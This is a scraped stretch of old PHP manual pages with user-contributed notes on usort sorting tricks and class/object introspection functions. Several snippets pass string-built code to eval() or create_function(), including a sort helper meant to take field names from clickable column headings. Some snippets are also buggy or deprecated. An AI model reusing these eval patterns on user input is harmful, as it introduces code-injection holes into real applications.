    if ($a->$csort_cmp['key'] < $b->$csort_cmp['key'])
        return -1 * $csort_cmp['direction'];

    return 0;
}

function csort(&$a, $k, $sort_direction=CSORT_ASC)
{
    global $csort_cmp;

    $csort_cmp = array(
        'key'           => $k,
        'direction'     => $sort_direction
    );

    usort($a, "csort_cmp");

    unset($csort_cmp);
}
?>
kristen at ccshoreline dot org 22-Nov-2003 09:39
I have a class with a bunch of functions that work with an SQL database. I am working with calendar dates that occur more than once (like once a week for 2 months), so I have to generate the date in php after the SQL. But I wanted to sort the events based on the date, so I tried using usort, but was unable to get it to work, because it didn't think that my sorting function was defined (even though it was in the same class). I have a separate class to store the data, that has a variable called Start which is a PHP date object.

So here is how I got it to work. First I created a temporary function, that returned the value of a string comparison of the timestamps for the dates. Then I used that temporary function for the usort. Enjoy.

<?php
$tempfunction = create_function('$event1,$event2',
        'return strcmp($event1->Start[0],$event2->Start[0]);');
usort($data,$tempfunction);
?>
skrebbel at operamail dot com 27-Mar-2003 10:59
here's another recursive multisort, however a clean and fast one that is class-based (but works as well outside classes) and does not uglify your global namespace at all. note that strnatcmp is used, but one could use something else of course.

btw, for arrays in which the rows/columns are 'swapped', use array_multisort().

<?php
class Banana {
    var $aData;//the array we want to sort.
    var $aSortkeys;//the order in which we want the array to be sorted.
    function _sortcmp($a, $b, $i=0) {
        $r = strnatcmp($a[$this->aSortkeys[$i]],$b[$this->aSortkeys[$i]]);
        if($r==0) {
            $i++;
            if ($this->aSortkeys[$i]) $r = $this->_sortcmp($a, $b, $i+1);
        }
        return $r;
    }
    function sort() {
        if(count($this->aSortkeys)) {
            usort($this->aData,array($this,"_sortcmp"));
        }
    }
}
$B = new Banana;
$B->aData = array(
    array("name" => "hank", "headsize" => "big", "age" => 32),
    array("name" => "frank", "headsize" => "huge", "age" => 36)
);
$B->aSortkeys = array("age","name");
$B->sort();

?>
sorry for the ugly indenting, but i couldn't get it any better in this note adder thing.
steveNO_SPAM at AXE_MEcontentwatch dot com 31-Dec-2002 11:11
The sort functions do nothing if identical keys exist.  Of course, you shouldn't have identical keys anyway, but this just might save someone else the oodles of time it took me to figure out while using multi-dimentional arrays:

<?php
class myArticleList {
// ... //
  function &getList () {

    // works
        $a = array (
                   "articleList1" => array ( "2", "3" ),
                   "articleList2" => array ( "3" , "4")
                 );
    usort( $a, array( $this, "compareByTitle") );

    // doesn't work
        $b = array (
                   "articleList" => array ( "2", "3" ),
                   "articleList" => array ( "3" , "4")
                 );
    usort( $b, array( $this, "compareByTitle") );
  }

  function compareByTitle( $a, $b ) {
  // ... //
  }
}
?>
jfren484 AT hotmail DOT com 25-Oct-2002 01:37
If you've used ADO before, you may have used the Sort property on a recordset.  It's very powerful - you can add a nice ORDER BY clause after getting the recordset from the database.  It's especially helpful if you want to show a list on a web page and make the column headings links that cause the list to resort on that column.

I wanted to do the same thing with mysql recordsets, but it looks like you have to have the ORDER BY in your query.  I re-worked the example from johan_land at yahoo dot com above for sorting multidimensional arrays.  When I get a mysql recordset, I create an array with all of the records like this:

<?php
$aaRows[]    = array();
if (mysql_num_rows($rsRows) > 0)
    while ($aRow = mysql_fetch_array($rsRows, MYSQL_ASSOC))
        $aaRows[]    = $aRow;
?>

At this point $aaRows is an array of arrays - it's a numeric-indexed array containing records from the recordset, which themselves are associative arrays.  The following code takes the array of records as the first parameter, and an array of fields to sort - each field is an associative array, where 'name' is the db field name, and 'dir' is the direction to sort.  If dir is 'DESC' (case-insensitive), it will sort descending.  Any other value (including not setting one) will cause it to sort ascending.

<?php
function sortRows(&$a_aaRows, $a_aaSortCriteria)
{
    GLOBAL    $g_aaSortArray;

    function compare($a_aRow1, $a_aRow2, $a_lField = 0)
    {
        GLOBAL    $g_aaSortArray;

        $lCompareVal    = 0;

        if ($a_lField < count($g_aaSortArray))
        {
            $sSortFieldName    = $g_aaSortArray[$a_lField]['name'];
            $sSortFieldDir    = $g_aaSortArray[$a_lField]['dir'];

            $vValue1    = eval('return $a_aRow1[' . $sSortFieldName . '];');
            $vValue2    = eval('return $a_aRow2[' . $sSortFieldName . '];');

            if ($vValue1 == $vValue2)
                $lCompareVal    = compare($a_aRow1, $a_aRow2, $a_lField + 1);
            else
            {
                $lCompareVal    =    $vValue1 > $vValue2 ? 1 : -1;
                if (strtolower(substr($sSortFieldDir, 0, 4)) == 'desc')
                    $lCompareVal    = -$lCompareVal;
            }
        }

        return $lCompareVal;
    }

    $g_aaSortArray    = $a_aaSortCriteria;
    usort($a_aaRows, 'compare');
}
?>

When I call it it looks something like this:

<?php
sortRows($aaRows, array(array('name' => 'STATE', 'dir' => 'ASC'), array('name' => 'CITY', 'dir' => 'DESC')));
?>
mkr at binarywerks dot dk 20-Sep-2002 06:29
If you want to sort an array according to another array acting as a priority list, you can use this function.

<?php
function listcmp($a, $b)
{
  global $order;

  foreach($order as $key => $value)
    {
      if($a==$value)
        {
          return 0;
          break;
        }

      if($b==$value)
        {
          return 1;
          break;
        }
    }
}

$order[0] = "first";
$order[1] = "second";
$order[2] = "third";

$array[0] = "second";
$array[1] = "first";
$array[2] = "third";
$array[3] = "fourth";
$array[4] = "second";
$array[5] = "first";
$array[6] = "second";

usort($array, "listcmp");

print_r($array);
?>
prozac at iguanasoft dot com 15-Jul-2002 02:55
Here is a simple example of converting a timestamp date("U") into a date. This sorts by that day and then by string value alphabetically.

I hope it saves someone some time... Happy PHP'in!

<?php
//data to sort
$shared[0]["page_id"] = "2025731470";
$shared[1]["page_id"] = "2025731450";
$shared[2]["page_id"] = "1025731456";
$shared[3]["page_id"] = "1025731460";
$shared[0]["username"] = "larry";
$shared[1]["username"] = "alvin";
$shared[2]["username"] = "garth";
$shared[3]["username"] = "harvy";

//function to convert timestamp to date
function convert_timestamp($timestamp){
    $limit=date("U");
    $limiting=$timestamp-$limit;
    return date ("Ymd", mktime (0,0,$limiting));
}
//comparison function
function cmp ($a, $b) {
    $l=convert_timestamp($a["page_id"]);
    $k=convert_timestamp($b["page_id"]);
    if($k==$l){
        return strcmp($a["username"], $b["username"]);
    }else{
        return strcmp($k, $l);
    }
}

//sort array
usort($shared, "cmp");

//display sorted info
while (list ($key, $value) = each ($shared)) {
    echo "\$shared[$key]: ";
    echo $value["page_id"];
    echo " username: ";
    echo $value["username"];
    echo "<break_tag>";
}
?>

This will output:
$shared[0]: 2025731450   username: alvin
$shared[1]: 2025731470   username: larry
$shared[2]: 1025731456   username: garth
$shared[3]: 1025731460   username: harvy
alex at netflex dot nl 02-Jul-2002 01:10
This function will sort on more then one values, test and have fun

<pre>
<?php

  $array[0]['name'] = "a";
  $array[0]['id'] = 3;

  $array[1]['name'] = "a";
  $array[1]['id'] = 2;

  $array[2]['name'] = "a";
  $array[2]['id'] = 5;

  $array[3]['name'] = "b";
  $array[3]['id'] = 8;

  $array[4]['name'] = "b";
  $array[4]['id'] = 1;

  $array[5]['name'] = "b";
  $array[5]['id'] = 0;

  $array[6]['name'] = "c";
  $array[6]['id'] = 5;

  $array[7]['name'] = "c";
  $array[7]['id'] = 7;

  $array[8]['name'] = "c";
  $array[8]['id'] = 3;

  print_r($array);

  $sort_array[0]['name'] = "name";
  $sort_array[0]['sort'] = "ASC";
  $sort_array[0]['case'] = TRUE;

  $sort_array[1]['name'] = "id";
  $sort_array[1]['case'] = FALSE;

  sortx($array, $sort_array);

  print_r($array);

  function sortx(&$array, $sort = array()) {
    $function = '';
    while (list($key) = each($sort)) {
      if (isset($sort[$key]['case'])&&($sort[$key]['case'] == TRUE)) {
        $function .= 'if (strtolower($a["' . $sort[$key]['name'] . '"])<>strtolower($b["' . $sort[$key]['name'] . '"])) { return (strtolower($a["' . $sort[$key]['name'] . '"]) ';
      } else {
        $function .= 'if ($a["' . $sort[$key]['name'] . '"]<>$b["' . $sort[$key]['name'] . '"]) { return ($a["' . $sort[$key]['name'] . '"] ';
      }
      if (isset($sort[$key]['sort'])&&($sort[$key]['sort'] == "DESC")) {
        $function .= '<';
      } else {
        $function .= '>';
      }
      if (isset($sort[$key]['case'])&&($sort[$key]['case'] == TRUE)) {
        $function .= ' strtolower($b["' . $sort[$key]['name'] . '"])) ? 1 : -1; } else';
      } else {
        $function .= ' $b["' . $sort[$key]['name'] . '"]) ? 1 : -1; } else';
      }
    }
    $function .= ' { return 0; }';
    usort($array, create_function('$a, $b', $function));
  }

?>
</pre>
graham at irwin dot org 16-Jan-2002 05:28
Example 3 above does not work with 4.0.4pl1, unless you write the uasort line as follows:
uasort($a, array ($a[0], "cmp_obj"));

(I assume any instance of the object: a[0] or a[1] or a[2] would work as well)

It does not work at all with associative arrays of objects.
xnoguer at rezebra dot com 25-Sep-2001 08:48
just for debugging purposes, usort does not complain if its argument function is not defined, i.e.:

<?php usort($my_array,"non existant function"); ?>

will not do anything...
josh at wintelcom dot net 25-Aug-2001 03:58
This lets you sort an associative multi-dimensional array by multiple key/field names.  Much similiar to the SQL clause ORDER BY.  Enjoy.

<?php
function cmp ($a, $b) {

    // Populate this array with your values...
    // Below is the SQL equivalent of
    // select * from blah ORDER BY date desc, type asc, name asc

    $vals = array(
        'date' => 'd',
        'type' => 'a',
        'name' => 'a'
    );

    while(list($key, $val) = each($vals)) {

        if($val == "d") {
            if ($a["$key"] > $b["$key"]) {
                return -1;
            }
            if ($a["$key"] < $b["$key"]) {
                return 1;
            }
        }

        if($val == "a") {
            if ($a["$key"] < $b["$key"]) {
                return -1;
            }
            if($a["$key"] > $b["$key"]) {
                return 1;
            }
        }

    }

}
?>
franky at iname dot com 18-Jul-2001 12:08
For sort multi-array by specific index

<?php
function cmp ($a, $b)
{
 global $w_o;
 if ($a[$w_o] == $b[$w_o]) return 0;
 return ($a[$w_o] < $b[$w_o]) ? -1 : 1;
}
# the index is the second element of
# each row

$w_o =1;
usort($my_arry_info,"cmp");
?>
johan_land at yahoo dot com 29-Jun-2001 02:23
These functions will sort an array by more than one element. The elements to sort by is specified in $sortArr. If you eg. want to sort by $destArr[]["sortBy2"][0] you add '["sortBy2"][0]' to $sortArr. Use it as much as you want!! If you modify it, please let me know...

<?php
//The functions
function compare($a, $b) {
    return cmpRec(0, $a, $b);
}

function cmpRec($i, $a, $b) {
    global $sortArr;
    if($i == sizeof($sortArr)) {
        return 0;
    }
    $avalue = '$avalue = $a'.$sortArr[$i].';';
    $bvalue = '$bvalue = $b'.$sortArr[$i].';';
    eval($avalue);
    eval($bvalue);
        if($avalue == $bvalue) {
        return cmpRec($i+1, $a, $b);
    } else {
        return ($avalue > $bvalue) ? (1) : (-1);
    }
}

//For testing the functions
$destArr = array( array( "sortBy1" => 2, "sortBy2" => array( "Fish", "eat seafood" )), array( "sortBy1" => 1, "sortBy2" => array( "Lions", "eat everything" )), array( "sortBy1" => 1, "sortBy2" => array( "Bird", "eat birdfood" )) );
$sortArr = array( '["sortBy1"]', '["sortBy2"][0]' );
print_r($destArr);
usort($destArr, "compare");
reset($destArr);
print_r($destArr);
?>
bo at erichsen dot com 20-Mar-2001 02:16
when using usort to refer to a function inside a class i have succesfully used:

<?php usort($myarray,array($this,"cmp")); ?>
derek at luddite dot net 19-Sep-2000 08:35
Needed a date sort and I didn't know if one was available so I wrote one. Maybe it'll help someone:

<?php
function DateSort($a,$b,$d="-") {
    if ($a == $b) {
        return 0;
    } else {  //Convert into dates and compare
        list($am,$ad,$ay)=split($d,$a);
        list($bm,$bd,$by)=split($d,$b);
        if (mktime(0,0,0,$am,$ad,$ay) < mktime(0,0,0,$bm,$bd,$by)) {
            return -1;
        } else {
            return 1;
        }
    }
}
?>

$d is the delimeter


Class/Object Information

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Classes/Object Functions
    • __autoload — Attempt to load undefined class
    • call_user_method_array — Call a user method given with an array of parameters [deprecated]
    • call_user_method — Call a user method on an specific object [deprecated]
    • class_alias — Creates an alias for a class
    • class_exists — Checks if the class has been defined
    • get_called_class — the "Late Static Binding" class name
    • get_class_methods — Gets the class methods' names
    • get_class_vars — Get the default properties of the class
    • get_class — Returns the name of the class of an object
    • get_declared_classes — Returns an array with the name of the defined classes
    • get_declared_interfaces — Returns an array of all declared interfaces
    • get_declared_traits — Returns an array of all declared traits
    • get_object_vars — Gets the properties of the given object
    • get_parent_class — Retrieves the parent class name for object or class
    • interface_exists — Checks if the interface has been defined
    • is_a — Checks if the object is of this class or has this class as one of its parents
    • is_subclass_of — Checks if the object has this class as one of its parents
    • method_exists — Checks if the class method exists
    • property_exists — Checks if the object or class has a property
    • trait_exists — Checks if the trait exists

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions allow you to obtain information about classes and instance objects. You can obtain the name of the class to which an object belongs, as well as its member properties and methods. Using these functions, you can find out not only the class membership of an object, but also its parentage (i.e. what class is the object class extending).

Please see the Objects section of the manual for a detailed explanation of how classes and objects are implemented and used in PHP.

User Contributed Notes

There are no user contributed notes for this page.


Examples

In this example, we first define a base class and an extension of the class. The base class describes a general vegetable, whether it is edible or not and what is its color. The subclass Spinach adds a method to cook it and another to find out if it is cooked.

Example #1 classes.inc

<?php

// base class with member properties and methods
class Vegetable {

   var $edible;
   var $color;

   function Vegetable($edible, $color="green")
   {
       $this->edible = $edible;
       $this->color = $color;
   }

   function is_edible()
   {
       return $this->edible;
   }

   function what_color()
   {
       return $this->color;
   }

} // end of class Vegetable

// extends the base class
class Spinach extends Vegetable {

   var $cooked = false;

   function Spinach()
   {
       $this->Vegetable(true, "green");
   }

   function cook_it()
   {
       $this->cooked = true;
   }

   function is_cooked()
   {
       return $this->cooked;
   }

} // end of class Spinach

?>

We then instantiate 2 objects from these classes and print out information about them, including their class parentage. We also define some utility functions, mainly to have a nice printout of the variables.

Example #2 test_script.php

<pre>
<?php

include "classes.inc";

// utility functions

function print_vars($obj)
{
foreach (get_object_vars($obj) as $prop => $val) {
    echo "\t$prop = $val\n";
}
}

function print_methods($obj)
{
$arr = get_class_methods(get_class($obj));
foreach ($arr as $method) {
    echo "\tfunction $method()\n";
}
}

function class_parentage($obj, $class)
{
if (is_subclass_of($GLOBALS[$obj], $class)) {
    echo "Object $obj belongs to class " . get_class($$obj);
    echo " a subclass of $class\n";
} else {
    echo "Object $obj does not belong to a subclass of $class\n";
}
}

// instantiate 2 objects

$veggie = new Vegetable(true, "blue");
$leafy = new Spinach();

// print out information about objects
echo "veggie: CLASS " . get_class($veggie) . "\n";
echo "leafy: CLASS " . get_class($leafy);
echo ", PARENT " . get_parent_class($leafy) . "\n";

// show veggie properties
echo "\nveggie: Properties\n";
print_vars($veggie);

// and leafy methods
echo "\nleafy: Methods\n";
print_methods($leafy);

echo "\nParentage:\n";
class_parentage("leafy", "Spinach");
class_parentage("leafy", "Vegetable");
?>
</pre>

One important thing to note in the example above is that the object $leafy is an instance of the class Spinach which is a subclass of Vegetable, therefore the last part of the script above will output:

   [...]
Parentage:
Object leafy does not belong to a subclass of Spinach
Object leafy belongs to class spinach a subclass of Vegetable

User Contributed Notes

simon at caperet dot com 03-Jun-2014 09:46
The code above doesn't work - throws Warning

Warning: get_class() called without object from outside a class in (filename)

The line
<?php
echo "Object $obj belongs to class " . get_class($$obj);
?>
should read
<?php
echo "Object $obj belongs to class " . get_class($GLOBALS[$obj]);
?>

And, for those who are interested, full output is :

veggie: CLASS Vegetable
leafy: CLASS Spinach, PARENT Vegetable

veggie: Properties
        edible = 1
        color = blue

leafy: Methods
        function Spinach()
        function cook_it()
        function is_cooked()
        function Vegetable()
        function is_edible()
        function what_color()

Parentage:
Object leafy does not belong to a subclass of Spinach
Object leafy belongs to class Spinach a subclass of Vegetable


Classes/Object Functions

Table of Contents

  • __autoload — Attempt to load undefined class
  • call_user_method_array — Call a user method given with an array of parameters [deprecated]
  • call_user_method — Call a user method on an specific object [deprecated]
  • class_alias — Creates an alias for a class
  • class_exists — Checks if the class has been defined
  • get_called_class — the "Late Static Binding" class name
  • get_class_methods — Gets the class methods' names
  • get_class_vars — Get the default properties of the class
  • get_class — Returns the name of the class of an object
  • get_declared_classes — Returns an array with the name of the defined classes
  • get_declared_interfaces — Returns an array of all declared interfaces
  • get_declared_traits — Returns an array of all declared traits
  • get_object_vars — Gets the properties of the given object
  • get_parent_class — Retrieves the parent class name for object or class
  • interface_exists — Checks if the interface has been defined
  • is_a — Checks if the object is of this class or has this class as one of its parents
  • is_subclass_of — Checks if the object has this class as one of its parents
  • method_exists — Checks if the class method exists
  • property_exists — Checks if the object or class has a property
  • trait_exists — Checks if the trait exists

User Contributed Notes

Skydev 05-Jan-2011 08:40
A small function that allows finding all references to the object. Written in 3 minutes and may be buggy (for ex pass object as reference in some places?)

<?php
function find_ref_obj($object, $obj, $path) {
    if (in_array($obj,$GLOBALS['__REF_CHECKED'],true))
        return false;
    $GLOBALS['__REF_CHECKED'][]=$obj;
    $r = array();
    foreach ((array)$obj as $k => $v) {
        if ($v === $object)
            $r[] = $path . "->$k";
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$path . "->$k");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$path . "->$k");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    if (empty($r))
        return false;
    else
        return $r;
}
function find_ref_arr($object, $arr, $path) {
    if (in_array($arr,$GLOBALS['__REF_CHECKED'],true))
        return false;
    $GLOBALS['__REF_CHECKED'][]=$arr;
    $r = array();
    foreach ($arr as $k => $v) {
        if ($v === $object)
            $r[] = $path . "['$k']";
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$path . "['$k']");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$path . "['$k']");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    if (empty($r))
        return false;
    else
        return $r;
}
function find_references($object) {
    $r = array();
    $GLOBALS['__REF_CHECKED']=array();
    foreach ($GLOBALS as $n => $v)
    if ($n!='__REF_CHECKED')
    if ($n!='GLOBALS') {
        if ($v === $object)
            $r[]=$n;
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$n);
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$n);
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    unset($GLOBALS['__REF_CHECKED']);
    return $r;
}

function find_refs($object) {
    return implode(', ',find_references($object));
}
?>
Dennis 01-Jul-2010 01:04
We have an array with many objects in a style like

<?php

$step = new StepModel(1); // if the StepModel id is "1"
$demand = $step->getDemand(); // returns DemandModel
$step2 = $demand->getCustomer(); // returns StepModel
$demand2 = $step2->getDemand(); // returns DemandModel

// [ ... ]

?>

$step and $step2 can be the same objects. So we have an recursive array. Now we need to know if $step == $step2 or $step === $step2. In other words: We need to know the php internal resource ids.

Because there is no function in php api, we made the following function.

Be careful: In our case, all objects have as first attribute ["id":protected]. If your objects are different from this, you need to edit $pattern.

Warning: function is very slow and should only be called if it's necessary for debugging reasons:

<?php

/**
 * returns resource- and object-ids of all objects in an array
 *
 * @param array $array
 * @return array
 */
function getObjectInformation(Array $array)
{
    // start output-buffering
    ob_start();

    // create an var_dump of $array
    var_dump($array);

    // save the dump in var $dump
    $dump = ob_get_contents();

    // clean the output-buffer
    ob_end_clean();

    // delete white-spaces
    $dump = str_replace(' ', '', $dump);

    // define the regex-pattern
    // in our case, all objects look like this:
    //
    // object(ClassName)#1(1){
    // ["id":protected]=>
    // string(1)"1"
    $pattern  = '/object\(([a-zA-Z0-9]+)\)#([0-9]+)\([0-9]+\){\\n';
    $pattern .= '\["id":protected\]=>\\n';
    $pattern .= 'string\([0-9]+\)"([v]?[0-9]+)"/im';

    // search for all matches
    preg_match_all($pattern, $dump, $regs);

    // sort all mathes by class name, object id and then resource id
    array_multisort($regs[1], SORT_ASC, SORT_STRING,
                    $regs[3], SORT_ASC, SORT_NUMERIC,
                    $regs[2], SORT_ASC, SORT_NUMERIC);

    // cache the last match
    $lastMatch = array();

    // the return value
    $return = array();

    // loop through the matches
    for ($i = 0; $i < sizeof($regs[0]); $i ++) {

        // check if the current match was not visited before
        if (0 == sizeof($lastMatch) ||
            $regs[1][$i] != $lastMatch[1] ||
            $regs[2][$i] != $lastMatch[2] ||
            $regs[3][$i] != $lastMatch[3]) {

            // save the match in return value
            array_push($return, array($regs[1][$i],
                                      $regs[2][$i],
                                      $regs[3][$i]));
        }

        // save match in last match cache
        $lastMatch[1] = $regs[1][$i];
        $lastMatch[2] = $regs[2][$i];
        $lastMatch[3] = $regs[3][$i];
    }

    // return all matches
    return $return;
}

?>

I know, it's not that elegant but I hope it's useful for a few people.
ahigerd at timeips dot com 20-Dec-2007 04:02
To access an object member with an illegal character in the name, use this syntax:

$obj->{'illegal-property:name()'}

This is particularly relevant with the dynamically-generated classes used by, for instance, database objects and the SoapClient class.
pascal dot poncet at netconsult dot com 13-Oct-2005 04:21
Subject: using "sql_calc_found_rows" in a MySQL query while exploiting result in a PHP db class object.

Hello,

There is a nice function in MySQL that allows to know how many records would have been returned if no "where" clause were set : SQL_CALC_FOUND_ROWS.

If you have create a db object to collect the returned lines, you will be a little perplex when trying to call the result of this function.

Why ?
Simply because the returned field's name is "found_rows()" and obviously it's not possible to call something like :

<?php $result->found_rows() ?>

...as it will try to acces a method, not a property !

Then, the only way to get the right result seems to be the use of a class function, like :

<?php
  $db->query("select found_rows()");
  $count=current(get_object_vars(current($db->result)));
?>

Of course, if somebody found an other way to solve it, like a special syntax (see the one used with curled arrays in a string), I'm really open to discuss.

Good luck,
Pascal
ia [AT] zoznam [DOT] sk 03-Aug-2005 07:55
as for zabmilenko's solution:
wouldn't it be better to create it this way?

<?php
// The base class for all db classes
class DB {
 protected $connectId;
}

// Class for MySQL, which extends base class
class MySQL extends DB {
 function connect () {
  $this->connectId = mysql_connect (...);
 }
}

// Class for PostgreSQL, which extends base class
class pgSQL extends DB {
 function connect () {
  $this->connectId = pg_connect (...);
 }
}

// and then call constructor like this:
$dbName = "MySQL";
$db = new $dbName ( ... );
// ... which creates an object of class MySQL
?>
zabmilenko at hotmail dot com 27-Jun-2005 09:08
((PHP5))

I wanted to dynamically choose an extender for a class.  This took awhile of playing with it but I came up with a solution.  Note that I can't verify how safe it is, but it appears to work for me.  Perhaps someone else can shed light on the details:

<?php

class A { var $value = "Class A\n"; }
class B { var $value = "Class B\n"; }

// Uncomment which extender you want.  You can use variables as well.
// define('__EXTENDER__', 'A');
   define('__EXTENDER__', 'B');

// Use eval to create a wrapper class.
eval('class EXTENDER extends '. __EXTENDER__ . ' { }');

class C extends EXTENDER
{
  function __construct()
  {
     echo $this->value;
  }
}

$t = new C;

?>

Outputs:   Class B

Practical application:  I have a database abstraction system that has individual classes for mysql, pgsql, et al.  I want to be able to create a global db class that extends one of the individual db classes depending on the application configuration.

I know that there are probably much better ways of doing this but I haven't reached that level when it comes to classes.
cjones 03-Mar-2005 10:27
If anyone is interested in looking for a way to dynamically load existing objects into a class, here is what I found very useful.

//---------------------------------------------------------
// Dynamically load External Objects into a class

  function objRef ( &$obj ) {
    eval("\$this->obj_".get_class($obj)." = \$obj;");
  }
//---------------------------------------------------------
// Reference by using: $this->obj_[object Name]->[var|f{}]

Example:

class date {  function date ( ) { $this->date = "March 3rd"; } }
class time {  function time ( ) { $this->time = "12:30pm"; } }

class show {
    function objRef ( &$obj ){
        eval("\$this->obj_".get_class($obj)." = \$obj;");
    }
   function test ( $var ){
       echo "$var".$this->obj_date->date." @ ".$this->obj_time->time;
   }
}

$date = new date;
$time = new time;
$show = new show;
    $show->objRef($date);
    $show->objRef($time);
    $show->test("Time Now => ");

// Output: Time Now => March 3rd @ 12:30pm

I found the prefix 'obj_' before the class name useful because it helped me to automatically identify external object references when scanning through my scripts. You can omit this if you want. Hope this helps someone.
http://sc.tri-bit.com/ StoneCypher 02-Mar-2005 07:25
to covertka at muohio dot edu and pillepop2003 at yahoo dot de:

There's a much easier solution to getting a class' name for working with a factory function.  Let's assume you're doing something like this:

<?php

  function FactoryFunction($whatever, $instancedata) {

    switch ($whatever) {
      case 'stuff'      : return new Stuff($instancedata);
      case 'otherstuff' : return new Otherstuff($instancedata);
    }

  }

?>

Now, consider the named parameter idiom and remember that PHP uses hashes for everything; as a result make the following changes:

<?php

  function FactoryFunction($whatever, $instancedata) {

    switch ($whatever) {

      case 'stuff'      : return array('typeis'=>'stuff',      'instance'=>new Stuff($instancedata));
      case 'otherstuff' : return array('typeis'=>'otherstuff', 'instance'=>new Otherstuff($instancedata));

    }

  }

?>

Nice 'n simple.  It seems that what the original poster wanted was something like C++ static data members; unfortunately as PHP4 has no static variables at all, there would need to be significant language change to support static-like behavior.  If you move to PHP5, the static keyword solves your problem cleanly.
covertka at muohio dot edu 03-Jan-2005 02:27
To pillepop2003 at yahoo dot de:

I have the same issue.  I have a base class that manages database tasks for a number of child classes.  One of the functions in the base class is a find() method that returns instances of the child classes.  Since find() is usually called as a static method, it needs to know the name of the child class.  As you've found, this appears to be impossible to get in an easy fashion.

The only way I've found to get the child class name is to use the debug_traceback() function.  This requires me to have a find() method in every child class, but it does work.

Here's an example:

<?php
  require_once("Application.php");

  class parentClass {
    function find() {
      $className = NULL;
      foreach (debug_backtrace() as $bt) {
        if ($bt['function'] == __FUNCTION__) {
          $className = $bt['class'];
        }
      }

      // here should be some code to find the proper id, let's assume it was id 1
      $id = 1;
      return new $className($id);
    }
  }

  class foo extends parentClass {
    function __construct($id) {
      $this->id = id;
    }

    function find() {
      return parent::find();
    }
  }

  class bar extends parentClass {
    function __construct($id) {
      $this->id = id;
    }

    function find() {
      return parent::find();
    }
  }

  $a = foo::find();
  printf("Type for \$a: %s<br/>\n", get_class($a));
  $b = bar::find();
  printf("Type for \$b: %s<br/>\n", get_class($b));
?>
iparanoid at gmx dot de 04-Aug-2004 08:17
To pillepop2003 at yahoo dot de:

It seems to me if there really is no nice way to get the class name in an un-instanciated class, there is a workaround in PHP5 though using static/class variables.

Example:

<?php

class myFoo
{
    static $__ClassName = __CLASS__;

    static function getClassName()
    {
        return myFoo::$__ClassName;
    }
};

class myFooExtended extends myFoo
{
    function __construct()
    {
        myFooExtended::$__ClassName = __CLASS__;
    };
};

?>

However, you'll need to have at least instanciated an object of the class myFooExtended before calling getClassName or introduce some other initialization (the class variable will need to be set at some point to __CLASS__ in the sub-class).
greg at doutromundo dot com 06-Jul-2004 04:58
As programmers, you're probably more organized than me, but, I do try and maintain some order in my classes and codes and separate them in "packages" as in java.
This helped me keep them organized but caused havok when trying to use them, so what I did was to create a class that handles the loading of classes (which I instanciate in all pages) along with my error handling class all bundled up. This way, I can load my classes with a command similar to
$baseClass->loadClass("package","className"[,"constructor"]);

the function responsible for this has some checking to see if they are loaded and stuff like that...

function loadClass($packageName,$className,$constructor=""){
  // if you dont have a constructor declare any function inside
  // the class
  if ($constructor==""){
    $constructor=$className;
  }
  if(!is_callable(array($className,$constructor))){
    if (defined("CLASS_DIR")){
      $pkg = CLASS_DIR.$packageName."/";
        if (is_dir($pkg)){
          // we have a directory with the package name
          $cls = $pkg.$className.".class.php";
          if(is_file($cls)){
            // we have a file
            include_once($cls);
          }else{
            die("Class <b>$className</b> could not be found in package <b>$packageName</b> , please check your instalation");
          }
        }else{
          die("Package <b>$packageName</b> could not be found, please check your instalation");
        }
      }
    }
}

Just remember to define CLASS_DIR as the physical path for the directories where you packages are...

Hope this comes in handy...

Here's an example of a diretory strucutre...
/var/www/classes/   <- this would be CLASS_DIR
in there I have:
package1/
     name.class.php
     name2.class.php
....

The loadClass would look like: loadClass("package1","name");

Cute and easy
ettinger at consultant dot com 19-Jun-2004 01:59
Re: Looking for an uninstantiated class

# Loads data from a table into a class object
class LFPDataFactory extends LFPObject {
        var $object;
        var $class;
        var $table;
        function LFPDataFactory($args) {
                $this->unpackArgs($args); // assigns locals from $args
                if (in_array(strtolower($this->class), get_declared_classes())) {
                        $this->object = new $this->class;
                        // assemble the columns in the table...
                        // select their values and put them in our new object...
                } else { trigger_error("Class ".$this->class." not found", E_USER_ERROR); }
        }
}
$r = new LFPDataFactory("class=LFPLayout,table=layout");
$new_obj = $r->object; // this is a LFPLayout object.
print_r($new_obj);

This class looks to see if the class exists, then instantiates it -- a declared class is not the same as an instantiated class. As long as LFPLayout exists somewhere in the scripts, get_declared_classes() will find it. Remember strtolower on compare, however.

Why would I do this? Because I have my class layouts the same as their respective tables; the factory then selects the data (making sure that the variables match) and plugs in the data. (I've left out the actual code to do the selection/insertion).
HOC 28-May-2004 06:40
to pillepop2003

Why do u want to know the classname of an non-existant object?

The only possible explanation for this question seems to me u want to know the class before u instantiate the object. Well, this is of no use since u always instantiate a class of ur choice.

When the class is instantiated into an object u can find the class of the object by means of get_class(). This is all u need. In case of inheritance u can use get_class($this) to get the class of the instantiated object. Now u can differentiate according to which class the object belongs to.

e.g.:

<?php
class A{
   function A(){
      $class_of_this = get_class($this);
      echo 'Object is an instance of class '.$class_of_this.' which is the ';
      if(strcmp($class_of_this,'A')==0)
         echo 'parent-class';
      else if(strcmp($class_of_this,'B')==0)
         echo 'child-class';
      echo ".\n";
   }
}

class B extends A{
   function B(){
      $this->A();
   }
}

$object1 = new A();
$object2 = new B();
?>

When u run this code-snippet the output will be:

Object is an instance of class A which is the parent-class.
Object is an instance of class B which is the child-class.
ar at 5mm de 28-Aug-2003 04:59
I missed some kind of function to dynamicly override or extend an Object:

-----------------------------------------
function &extendObj(&$obj, $code) {
    static $num = 0;

    $classname = get_class($obj);
    $newclass = $classname.$num;

    eval('class '.$newclass.' extends '.$classname.' { '.$code.' }');

    $newobj = new $newclass();

    $vars = get_class_vars($classname);
    foreach($vars AS $key=>$value) {
